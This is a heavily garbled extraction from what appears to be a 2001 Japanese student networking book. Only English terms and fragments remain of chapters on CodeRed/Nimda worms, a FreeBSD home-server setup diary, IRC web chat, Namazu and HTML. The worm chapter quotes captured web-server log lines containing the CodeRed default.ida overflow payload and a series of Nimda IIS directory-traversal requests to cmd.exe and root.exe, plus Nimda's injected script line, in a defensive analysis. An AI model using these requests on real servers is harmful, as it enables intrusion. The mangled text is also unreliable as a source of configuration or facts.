82 78 XIII CodeRed/Nimda XIII.5.1 CodeRed CodeRed II cmd.exe root.exe C D YinetpubYscriptsY YProgram FilesYCommon FilesYSystemYMsadcY D D root.exe cmd.exe 4 C D explorer.exe D D CodeRed II TROJ CODERED.C explorer.exe Explorer.exe Explorer.exe explorer.exe HKEY LOCAL MACHINEYSOFTWAREYMicrosoftYWindowsNTYCurrentVersionY Winlogon SFCDisable 0xFFFFFF9D Windows SFP SFP HKEY LOCAL MACHINEYSYSTEMYCurrentControlSetYServicesYW3SVCYParameters YVirtual RootsYscripts HKEY LOCAL MACHINEYSYSTEMYCurrentControlSetYServicesYW3SVCYParameters YVirtual RootsYmsadc,,217 scripts msadc Read/ Write/Execute scripts msadc root.exe root.exe C D HKEY LOCAL MACHINEYSYSTEMYCurrentControlSetYServicesYW3SVCYParameters 4 root Administrator

83 XIII.5. CodeRed 79 YVirtual RootsYc HKEY LOCAL MACHINEYSYSTEMYCurrentControlSetYServicesYW3SVCYParameters YVirtual RootsYd c:y,,217+ d:y,,217 Web scripts msadc 10 XIII.5.2 CodeRed Web CodeRed II CodeRed IP http (80) 3.5K CodeRed II CodeRed II 1 19 IP CodeRed CodeRed II xxx.xxx *.*.*.* 12.5% Class B *.* 37.5% Class A 210.*.*.* 50% CodeRed II IP Web 2 HTTP Web HTML HTML Welcome to Hacked By Chinese! 10 CodeRed II Web Web IP http (80) DoS

84 80 XIII CodeRed/Nimda IP IP 28 XIII.5.3 CodeRed CodeRed ***.*** - - [20/Jul/2001:15:04: ] "GET /default.ida?nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN NNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" CodeRed II ***.*** - - [05/Aug/2001:21:29: ] "GET /default.ida?xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3% u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" IIS XIII.5.4 CodeRed CodeRed CodeBlue Green CRclean CodeBlue Windows2000 CodeRed II OS Code Green CRclean Code Red Code Green Code Red Code Red Code Green Microsoft Web Code Red CRclean Code Red CRclean Code Red CRclean

85 XIII.6. Nimda 81 XIII.6 Nimda Nimda Nimda admin Nimda CodeRed IIS CodeRed 1 Nimda 16 CodeRed XIII.6.1 Nimda Nimda readme.exe Internet Explorer Web HTML Nimda IIS Web, <script language="javascript">window.open ("readme.eml", null, "resizable=no,top=6000,left=6000")</script> XIII.6.2 Nimda CodeRed Nimda ***.*** - - [19/Sep/2001:10:58: ] "GET /scripts/root.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:58: ] "GET /MSADC/root.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:58: ] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:58: ] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:58: ] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy stem32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"

86 82 XIII CodeRed/Nimda ***.*** - - [19/Sep/2001:10:59: ] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:10:59: ] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" ***.*** - - [19/Sep/2001:11:00: ] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" CodeRed Nimda XIII.7 CodeRed Nimda CodeRed

87 83 XIV XIV.1 ( ) FreeBSD 1 UNIX ( ) XIV.2 ( ) ( ) HTTP HTTP GET /index/index.html HTTP/1.1 ( ) /index/ index.html ( ) HTTP index.html 1 ( ) POP SMTP ( ) Web FTP SMTP, POP Web HDD Web 1 M Out ook Exp.

88 84 XIV 2 CGI 3 SSI 4 PHP 5 Web XIV /1/6 1 CPU: AMD Duron 800MHz Memory: 128M Byte HDD: 20G Byte CD-ROM: x /1/7 OS Windows UNIX FreeBSD 6 UNIX USER FreeBSD 4.1-Release 4 CD-ROM CD-ROM Boot CD-ROM CD ON ( OS ( )) UNIX USER Yes No Disklabel Disklabel / 500M /usr 10G /var 6G /www 5G /tmp 2G swap 500M /var 6G Disklabel /var 2% Web /home mule jvim tcsh HDD Root Reboot XIV.1 ( ) 2 HP HP 3 CGI(Common Gateway Interface) Web 4 SSI(Server Side Include) HTML 5 HTML Web 6

89 XIV XIV.1: 2001/10/7 FreeBSD Duragon CATV LAN Gateway NIC 2 NIC CATV DHCP IP NIC DHCP LAN IP ( /16 ) DHCP DHCP ISC 7 DHCPd OK LAN NIC MAC IP # dhcpd.conf option domain-name-servers , , xxx.xx; option subnet-mask ; default-lease-time 43200; max-lease-time 86400; subnet netmask { range ; option routers ; option broadcast-address ; group{ host noren { hardware ethernet 00:c0:KK:AA:ZZ:YY; fixed-address ; host blue { hardware ethernet 00:40:XX:XX:XX:XX; fixed-address ; # IP ( ) LAN 7 Internet Software Consortium

90 86 XIV IP IP IP NAT(Network Address Translator) (IP Masquerade ) IP IP XX.XX <-- [ NATd ] --> XX.XX FreeBSD NATd NAT divert FreeBSD ipfw FreeBSD GENERIC ipfw ipfw natd routed LAN ( ) 2001/1/20 UNIX Windows UNIX Windows samba 8 samba configure && make && make installl smb.conf samba smb.conf swat inetd Windows XIV.4 FireWall 2001/2/ FW 9 ) NAT ipfw LAN Nat LAN AgeOfEmpire2 10 AgeOfEmpire2( AOE) ( 8 ) Listen AOE Listen TCP UDP UDP AOE TT UDP LAN LAN NATd AOE IP ( AOE ) NATd AOE FW Fire Wall 10 Microsoft

91 XIV.4. FireWall 87 #--/etc/natd.conf #--for AOE(TC) redirect_port tcp : redirect_port udp : redirect_port tcp : redirect_port udp : redirect_port udp : redirect_port udp : redirect_port tcp : # IP AOE 2001/2/20 ( ) syslogd /var/log/ messages Feb 18 08:36:18 duragon inetd[91567]: Feb 18 09:24:42 duragon inetd[91734]: tcpd (tcp) Feb 19 15:24:15 duragon inetd[48756]: refused connection from XXX, service tcpd (tcp) refused connection from nyc.XX.com, service refused connection from XX.39, service tcpd (tcp) Listen ( ) Tcp wrapper inetd Tcp wrapper inetd Tcp wrapper /etc/hosts.allow ipfw ipfw IP 11 ipfw IP / IP ipfw (21:FTP, 22:SSH, 23:TELNET, jserver, samba, NFS ) IP IP ipfw ipfw add deny tcp from any to XX.XX 23 via <NIC > (<NIC > XX.XX 21 (TELNET) IP ) ipfw add allow tcp from /16 to XX.XX 21 via <NIC > ( IP FTP ) IP 2001/3/ 11 3 (

92 88 XIV Apache Web server 12 httpd.conf 2001/3/15 FTP FTP ( ;) 13 PC HTML FTP FTP(File Transfer Protocol) FreeBSD ftpd ftpd inetd FTP 14 HDD 40GB 15 FTP FTP 2 FTP /newdisc/ftp user group pass home dir bush / ftpusr shine /newdisc/ftp adminftp / ftpusr ******* /newdisc/ftp /newdisc/ftp/ (adminftp.ftpusr) [755] --- pub/ (adminftp.ftpusr) [755] --- upload/ (adminftp.ftpusr) [775] --- etc/ (root.wheel) [111] UserID, GroupID bush /etc/ftpchroot ID etc/ /etc/pw.db /etc/group OK FTP ( ) 2001/3/16 16 ERROR: The following error was encountered: Unable to determine IP address from host name for dhcp-yyy.xxx.ne.jp The dnsserver returned: Name Error: The domain name does not exist. This means that: The cache was not able to resolve the hostname presented in the URL. Check if the address is correct.!? DNS(Domain Name Server) 12 Web 13 Homepage, HP Web Site 14 Anonymous FTP anonymous 15 14, Web

93 XIV.4. FireWall 89 DNS ns1.xxx.ne.jp LAN IP DNS DNS XXX.ne.jp IP IP DHCP DNS IP DNS DHCP dhclient /etc/dhclient.conf DNS DNS JPNIC IIJ DNS IIJ DNS OK DNS 2001/3/23 Backup HDD FreeBSD dump/restore Backup # dump_bkp.sh #!/bin/sh # Commands dmpcmd="/sbin/dump" recmd="/sbin/restore" gzipcmd="/usr/bin/gzip" mvcmd="/bin/mv" # Directry pathes bkppath="/newdisc/backup/duragon" # Rename previous backup files as "prev_xxx.gz" ${mvcmd ${bkppath/root.gz ${bkppath/prev_root.gz ${mvcmd ${bkppath/var.gz ${bkppath/prev_var.gz ${mvcmd ${bkppath/usr.gz ${bkppath/prev_usr.gz ${mvcmd ${bkppath/ ${bkppath/prev_www.gz # Carry out Backup ${dmpcmd 0f - / ${gzipcmd -9 > /g/backup/duragon/root.gz ${dmpcmd 0f - /var ${gzipcmd -9 > ${bkppath/var.gz ${dmpcmd 0f - /usr ${gzipcmd -9 > ${bkppath/usr.gz ${dmpcmd 0f - /www ${gzipcmd -9 > ${bkppath/ # Backup HDD restore # zcat /newdisc/backup/root.gz restore rf - 5 cron /etc/crontab */5 * * root /usr/local/libexec/dump\_bkp.sh 2001/3/24 Web Mbps 17 Speed Test :

94 90 XIV WWW Squid Squid 18 ( ) % IP IP IP Internet Protocol IP 1 20 IP WWW (proxy server) Web IP CGI Proxy Proxy IP ( )IP Proxy Proxy Squid 21 squid.conf Proxy WWW parent sibling Proxy X Proxy Y Parent Y X Y Y Y sibling Y Y X Squid Proxy sibling Proxy ( ) Squid 8080( ) ICP sibling Proxy 3130 Listen Proxy sibling 500MB LAN PC ( ) IP( ) Proxy HTTP Proxy Proxy ( IP( ) ) ipfw 8080 Proxy URL IE 2001/3/26 3/31 Apache PHP3 PHP4 Web 18 Proxy Server

95 XIV.4. FireWall /4/5 Apache Apache ( ) Apache rotatelogs rotatelogs newsyslog gzip ( ) gzip newsyslog Apache TT rotatelogs 2001/4/15 Apache newsyslog HUP newsyslog man rotatelogs newsyslog /etc/newsyslog.conf Apache OK # newsyslog.conf # configuration file for newsyslog # $FreeBSD: src/etc/newsyslog.conf,v /02/08 21:57:27 rwatson Exp $ # # logfilename [owner:group] mode count size when [ZB] [/pid_file] [sig_num] /var/log/cron * Z ( ) # Apache /var/apache/logs/access_log * $MLD0 ZB /var/run/apache.pid 1 /var/apache/logs/cgi.log * $MLD0 ZB /var/run/apache.pid 1 /var/apache/logs/error_log * $MLD0 ZB /var/run/apache.pid 1 # when man newsyslog(8) Apache 2001/4/27 NFS FreeBSD NFS /etc/exports NFS ( ) /www/lufin -maproot=lufin /usr/ports -maproot=root NFS mount # /usr/sbin/nfsd -u -t -n 4 # mountd -r /etc/exports NFS mount NFS :-P # mount -t nfs :/www/lufin /home/lufin CD-ROM UNIX

96 92 XIV XIV /5/1 ( ) DNS.com.org.net $20 OK, DNS.com.org.net 2.to DNS DNS DNS (IP ) 2 <----> OK DNS DNS DNS ( XIV.2) XIV.2: musuka.com DNS POP3 (Post Office Protocol version 3) qpopper 22 qpoper inetd Tcp wrapper POP POP sendmail 23 SMTP (Sinple Mail Transfer Protocol)

97 XIV /5/4 3 ( musuka.com Whois whois whois /5/7 DNS BIND /etc/namedb/ named.conf musuka.com.zone 25 IP #-----musuka.com.zone $TTL IN SOA dns.musuka.com. root.musuka.com. ( ; Serial 3600 ; Refresh 900 ; Retry ; Expire 3600 ) ; Minimum IN NS dns.musuka.com. IN NS ns.kitcc.org. IN NS ns.xxxaco.com. IN MX 10 musuka.com. IN A XXX.XXX dns IN A XXX.XXX dns1 IN CNAME dns socks IN CNAME mail IN CNAME dialsow.mine.nu. www IN CNAME dns home IN CNAME dns home1 IN CNAME dialsow.mine.nu. proxy IN CNAME dns ftp IN CNAME dns web IN CNAME dns www2 IN CNAME # SOA, NS, MX, CNAME SOA (Start Of Authority) zone NS (Name Server) zone MX (Mail exchanger) A (Address) IP CNAME (Canonical Name) zone CNAME zone IP 2001/5/8 SMTP sendmail sendmail WIDE sendmail sendmail.cf 1 24 % whois musuka.com 25 www yahoo.co.jp

98 94 XIV sendmail.cf SMTP SPAM SPAM SPAM Open Relay Black List(ORBL) 26 Relay SPAM 27 SPAM SPAMMER Open Relay SPAMMER 28 cf Abuse Net 29 SMTP 2001/5/19 DynDNS ez-ipupdate /etc/dyndns.conf cron 3 Update 2001/5/22 6/6 30 ( ML) ML Majordomo ML Majordomo majordomo /usr/local/majordomo Majordomo sendmail aliases ML majordomo/lists ML ( ) majordoo/list test ML sendmail aliases majordomo newaliases senadmail aliases majordomomusuka.com config test test.admin test ML config test.config test.config ML ML Subject [ml-test: 00123] ML ML Majordomo sequencer /9/25 27 Open Relay Web 28 SHOHO Daruma

99 XIV sendmail aliases Majordomo sequencer Out ook Exp. ML [ml-test: 00124] Re:[ml-test: 00123] Subject KITCC.org Majordomo sequencer 31 ML ML 2001/6 2001/7/16 FreeBSD Version 4.3-Release /usr/src CVSUP make buildworld /usr/obj /usr/src CVSUP /usr/src CVSUP XIV /7/21 7 X-day CGI 32 HTTP PING 100 BIOS 33 CPU ( 34 ) 2001/7/22 AMD CPU Raid Raid DHCP IP DNS DynDNS DNS TTL 35 IP Bind DNS DynDNS CNAME 31 KITCC ML 4 32 CGI 33 M/B (?) TTL(Time To Live)

100 96 XIV 2 36 CGI URL DynDNS CNAME /7/23 NAT FW IP AOE 38 IP ( ) PortForward Socks 39 ( FreeBSD ports ports Socks5 Get 40 /usr/ports/distfile/ make FreeBSD work make install socks5.conf inetd inetd.conf Windows Socks SocksCap32 Windows 2001/8/2 sendmail /etc/mail/access access # makemap -v hash access.db < access 2001/9/1 2 Apache+mod ssl HTTPS XIV /9/4 JP 41.com 4 JP 4500 DNS Web Whois jp VeriSigned DNS 42 Web JP 36 mt-book/ 37 A 1 38 AOE 39 Socks Proxy server JPRS 42 IP

101 XIV JP 2001/9/10 tcp wrapper 2001/9/25 sendmail Open Relay Black List (ORBL) Spam Spam ORBL Spam 43 Spammer Open Relay SMTP Black List SMTP Black List Spammer SPAM ORBL sendmail cf sendmail.cf ORBL ORBL Spammer Spammer ORBL ORBL DNS relays.ordb.org ORBL DNS Black List IP IP /24 IP sendmail Black List 2001/10/5 UPS 44 MRTG( Multi Router Traffic Grapher ) SNMP SNMP NIC MRTG SNMP MRTG SNMP GIF Cool XIV.8 43 USA UPS: Uninterruptible Power Source OA

102 98 XIV ADSL CodeRED Nimda FW (Internet )

103 99 XV XV.1 HTTP(Hypertext Transfer Protocol) SMTP(Simple Mail Transfer Protocol), POP3(Post Office Protocol Ver.3) 2 1 IRC(Internet Relay Chat), ICQ(I Seek You), NNTP(Network News Transfer Protocol) IRC HTML CGI HTTP NNTP Mailing List SMTP WWW HTTP SMTP, POP3 NTP(Network Time Protocol) HTML(Hypertext Markup Language) MIME(Multipurpose Internet Mail Extensions) ( ) XV.2 Java 1 POP3

104 100 XV Java XV.3 Internet News, BBS( ), ML(Mailing List) Anonymous( ) FTP HTTP HTTP Anonymous FTP 2 HTTP Internet News ML 2 Anonymous FTP ANONYMOUS

105 XV Web Web ( SMTP ) Web 3 HTTP XV.4 HTTP (resource) Web Web Web Web IRC Web Internet News ML Web Web IRC XV.5 XV.5.1 IRC Web ImIRCP(Internet Multi Interface Relay Chat Project) Perl IRC IRC Web IRC 3 Web CGI Java Web

106 102 XV XV.5.2 CGI (yuichat) perl IRC perl CGI IRC IRC IRC NickName 800 XV.6 5 IRC IRC IRC IRC IRC IRC CGI CGI IRC CGI Relay CGI XV.7 IRC Web ICQ NNTP ML Web IRC 5 mt-book/

107 103 XVI namazu e ( Namazu FreeBSD-4.3-RELEASE ports 4.4- RELEASE current /usr/local/www/data/test URL Namazu HTML MHonArc Windows namazu ports make japanese/ namazu2/ make install configure MMagic make devel/p5-file-mmagic/ make install japanese/namazu2/ make install Namazu2 /usr/local/libexec/namazu.cgi /usr/local/ www/data/test/namazu.cgi /usr/local/etc/namazu/namazurc -sample /usr/local/www/data/test/.namazurc.namazurc Index Template /usr/local/www/data/test MHonArc ports japanese mhonarc make make install /usr/local/share/example/mhonarc/mhonarc.rc.sample /usr/local/www/ data/test.mhonarc MHonArc HTML mhonarc.rc.sample japanese ports Subject MIME <EXCS>

108 104 XVI namazu /usr/local/www/data/test/ mhonarc -rcfile.mhonarc. HTML mknmz --mhonarc -c --replace= s#/usr/local/www/data/# --indexing-lang=ja_jp.jis. Namazu --mhonarc MHonArc -c ChaSen --replace --indexing-lang URI perl URL.namazurc Lang cron HTML mhonarc -add. mknmz --update=..htaccess

109 105 XVII HTML XVII.1 HTML XVII.2 HTML HTML HyperText ( ) Internet Explorer Netscape HTML HTML HTML HyperText Markup Language HTML HTML HTML HTML HTML HTML (World Wide Web)

110 106 XVII HTML XVII.3 HTML HTML 1989 Particle Research (CERN) Tim Berners-Lee HTML 1990 NCSA National Center for Supercomputing Applications HTML Mosaic

111 107 Lime L A TEX Lime L A TEX L A TEX (ˆ-ˆ; Lime

A/B WWW MTA/MSP sendmail POP/IMAP apache WWW 1 1 sendmail uw imap apache WWW host host subnet1: /24 IF1: router & server mail and

A/B WWW MTA/MSP sendmail POP/IMAP apache WWW 1 1 sendmail uw imap apache WWW host host subnet1: 192.168.1/24 IF1:192.168.1.1 router & server mail and WWW IF2:192.168.0.32 subnet2: 192.168.0/24 1: 1 2 iep.sie.dendai.ac.jp